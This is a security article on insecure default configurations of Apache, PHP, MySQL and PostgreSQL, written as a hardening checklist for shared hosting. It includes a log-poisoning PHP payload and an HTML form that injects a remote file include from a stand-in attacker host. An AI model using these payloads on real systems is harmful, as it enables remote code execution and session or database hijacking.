Insecure
by Default
Lukasz Wojtow
It seems so easy -- download Apache, throw PHP together with some
database, and you have a new server for dynamic Web pages. It's
true; building Web servers has never been easier or cheaper. The
price paid for ease of use and installation, however, is loose configuration
-- designed not to create problems on startup but not to be the
most secure. This article describes how configuring MySQL, PostgreSQL,
PHP, and Apache with their default settings can lead to security
breaks. Some of the issues covered can be applied only to shared
hosting, where an attacker owns a virtual host and has unprivileged,
local access to the system.
The software described in this article is Apache (v1.3.31), PHP
(v4.3.8), MySQL (v4.0.20), and PostgreSQL (v7.4.5). All components
are installed from source with default options; PHP is installed
as a DSO module, and Linux 2.6 is used as an operating system.
A main worry for Web administrators is so-called "remote code
inclusion". When this happens, attackers can include any code and
execute it in the server context. The consequences are endless,
and unrestricted viewing of scripts' variables (like password to
database) is one of the least dangerous. Exploiting remote code
inclusion can take two forms:
- Including truly remote files through HTTP/FTP protocol.
- Including local files with content controlled by a remote attacker.
The first attack is possible because of the most often abused
PHP option, allow_url_fopen, which according to the configuration
file (usually /usr/local/lib/php.ini) is switched "On" by
default. This option allows the inclusion and execution of remote
files as if they were local -- a favorite technique of attackers.
Very few sites really need this possibility, so switching it "Off"
worldwide and switching it "On" only in cases where it's really
needed is a good idea. The second approach is used when a script
checks for a file's existence (function file_exists() does
not work for remote files in PHP 4.x) and then includes it. Webmasters
often forget that attackers have influence over at least one local
file -- the server log.
Appending the argument ?dummy='<?php;phpinfo();?>'
to the URL places PHP code in the access_log. After including the
access_log file in another request, the phpinfo() function
will be executed. The server's log path is not an issue here because
one of symbolic links in /proc/self/fd/ points to the correct file.
This capability exists because of the server logs' default permissions
-- they are world-readable:
lw@lw:~$ ls -l /usr/local/apache/logs/*
-rw-r--r-- 1 root root 8186 2004-10-03 16:43 \
/usr/local/apache/logs/access_log
-rw-r--r-- 1 root root 12613 2004-10-03 16:43 \
/usr/local/apache/logs/error_log
This should be changed immediately after installation not only to
stop the described attack technique, but as a protection against brain-dead
scripts that pass confidential data in GET arguments.
When it comes to exploiting remote inclusions, attackers usually
change the URL in a browser's address bar. This approach is fast
and convenient but has one huge drawback -- it is logged. To hide
suspected parameters, attackers take advantage of two PHP settings:
option "register_globals", which for compatibility reasons is usually
turned "On" after installation (88% of servers); and option "gpc_order"
(or "variables_order" in newer versions). The former makes all variables
available to a PHP script as "$option_name", and the latter sets
the overriding order for variables with the same name (including
GET, POST, COOKIE, etc.).
With the default value of "GPC", GET variables will be overridden
by POST and then by COOKIE. So, if a script receives a variable
of the same name twice -- once as GET, and once as a cookie -- the
variable will be set on the value from the cookie. That is, if an
attacker wants to set script's argument "file" on his file, the
GET argument should remain unchanged (say "offer.html"), but the
cookie should contain a reference to the attacker's file. This way,
the attack will be logged like other legitimate visits and the administrator
will have no chance to spot it. If the script accepts POST data,
including the value in a form can also be used:
<form method="post" action=http://victim.com/show.php?file=offer.html>
<input type="text" name="file" value="http://hacker.org/attack.txt">
<input type="submit">
</form>
Changing the "gpc_order" value on "CPG" will not stop attackers, but
at least the systems administrator will be able to see that something
is wrong (like finding a script that is always called with the include=
argument being called without it).
It would be naive to think that PHP does not provide any configuration
options to make it secure in multi-homed environments. And, indeed,
there is a set of file system limitations called "safe mode". This
feature has had some security problems but is designed for ISP servers
and definitely should be turned on. It is disabled by 79% of servers
(see Table 1).
Running PHP with safe mode and CGI scripts with Apache-supported
suExec (which changes process uid before executing CGI) seems to
provide good protection against the abuse of Web server privileges.
Unfortunately, it is not perfect under the default configuration.
When safe mode is enabled and suExec deployed, *.php files are not
world readable, they belong to their users and some special group
in order to enable Apache processes to read them. But, the option
"FollowSymlinks" in httpd.conf provides an opening for attackers.
Using a CGI script, an attacker can create a symlink (with extension
.txt) pointing to any file in any other domain. If the symlink is
requested by the attacker, the pointed file will be displayed. The
simplest way to fix this is by enabling the option "SymlinksIfOwnerMatch"
in the configuration file.
One of the most common tasks for PHP scripts is authenticating
users. This is usually done by PHP's built-in "sessions" feature.
For example, a logging script checks the username and password and,
if they match, sets the variable "logged" to "true". All other scripts
in this domain will then receive this variable and grant access
to the user:
<?php
if($_SESSION['logged']==true)
// user already logged in
...
else
// user not logged in
...
?>
This seems secure, because users cannot set session variables remotely,
but a problem arises on shared hosting. Sessions files for all virtual
servers reside in one location -- by default, the /tmp directory (on
86% of servers). This way, the PHP engine has no way of distinguishing
which virtual server started a particular session.
If an attacker knows the name of the checked variable ("logged"
in previous example), then this variable can be set by his domain
hosted on the server. Appending PHPSESSID from the attacker's domain
in requests to the victim's domain will result in bypassed authentication.
One solution is to set a different session.save_path for each virtual
server.
Because the /tmp directory is world-readable, however, keeping
session files there results in another problem. Even if every single
script checks the username and the password, authentication still
can be bypassed:
<?php
include('functions.inc.php');
if(password_correct($_SESSION['user'],$_SESSION['password'])
// password correct
...
else
// password incorrect
...
?>
An attacker can list files in the /tmp directory from time to time
and look for new sessions being created. One of them will surely belong
to a user freshly logged into the victim's site. Session files are
named after their ids, so listing files gives the attacker everything
necessary to hijack the session. In my view, it is bizarre to keep
these files in a directory like /tmp where everybody with local access
can see them.
Sharing this directory is generally a bad idea, but there is yet
another problem with it. By default, MySQL and PostreSQL use this
directory for their sockets, and every PHP script connects to the
database through them. PHP has no way to find out whether sockets
were actually created by database daemons. Because the /tmp directory
is world-writable, they could be created by anyone. That means that
scripts can give away passwords or display Web pages with data taken
from a fake database.
If an attacker manages to create his own sockets, the consequences
can be serious, so sockets should be kept somewhere else. To avoid
this potential attack, a few steps must be taken. First, two directories
must be created -- one for MySQL socket, and one for PostgreSQL.
Neither directory should be world writable. Second, software must
be informed to use these directories.
In MySQL's config file (/etc/my.cnf), the option "socket"
must be changed (in both sections -- [client] and [server]). To
inform PHP about the changed option "mysql.default_socket", the
PHP config must be updated. Unfortunately, the PostgreSQL case is
a bit more complicated. The simplest way to change the default socket
directory is to alter the definition DEFAULT_PGSOCKET_DIR in PostgreSQL
sources in file src/include/pg_config_manual.h (about line
168), then rebuild and reinstall the database.
Other database options can also cause problems. It is well known
that connecting to a database is a time-consuming task. To speed
up this process, persistent connections are used. After persistent
connections are established, all details are kept by the PHP engine
between requests to a particular Apache child process. If a script
wants to connect to the database again, it receives the connection
that was established the last time.
A problem arises because of the way Unix-like systems treat file
descriptors. First, they are inherited after executing a new program;
second, they are represented by integer numbers in a process. Neither
MySQL's nor PostgreSQL's client sockets are marked as close-on-exec,
which means they can be inherited by any program executed by an
Apache child process. All an attacker has to do is upload a malicious
script on the server and keep making request to it through http
protocol. If a request is accepted by a child process that previously
had established persistent connections for other domains, the attacker
will get access to these databases. Details about this attack with
a sample program for MySQL (PostgreSQL is also affected) are available
from: http://bugs.mysql.com (bug id 3779). This attack is
possible only when persistent connections are allowed, that is about
66% of servers.
Persistent connections are entirely PHP's responsibility and can
be switched off by setting the options "mysql.allow_persistent"
and "pgsql.allow_persistent" to "Off" in PHP's config file.
I hope this article will be useful as a post-installation checklist.
As I've shown, the default configuration of software is not always
secure. But, these problems can often be solved by choosing the
proper options in configuration files. Open source software is popular
for its low cost, robustness, and ease of use. The only thing remaining
is to tighten its security for your specific needs.
Resources
Apache Web server -- http://www.apache.org
PHP server-side language -- http://www.php.net
MySQL database -- http://www.mysql.com
PostgreSQL database -- http://www.postgresql.org
Close-on-exec MySQL discussion -- http://bugs.mysql.com/bug.php?id=3779
Vinesys security survey -- http://www.vinesys.net/surveys/ibd.html
Lukasz Wojtow has a BSc in Computer Science from The College
of Management and Public Administration, Zamosc, Poland and is starting
his Masters in London next year. His main interests are security
and programming, and in his free time he enjoys walks in Hyde Park
and flies F16 (simulator only). He can be reached at: lw@wszia.edu.pl.
|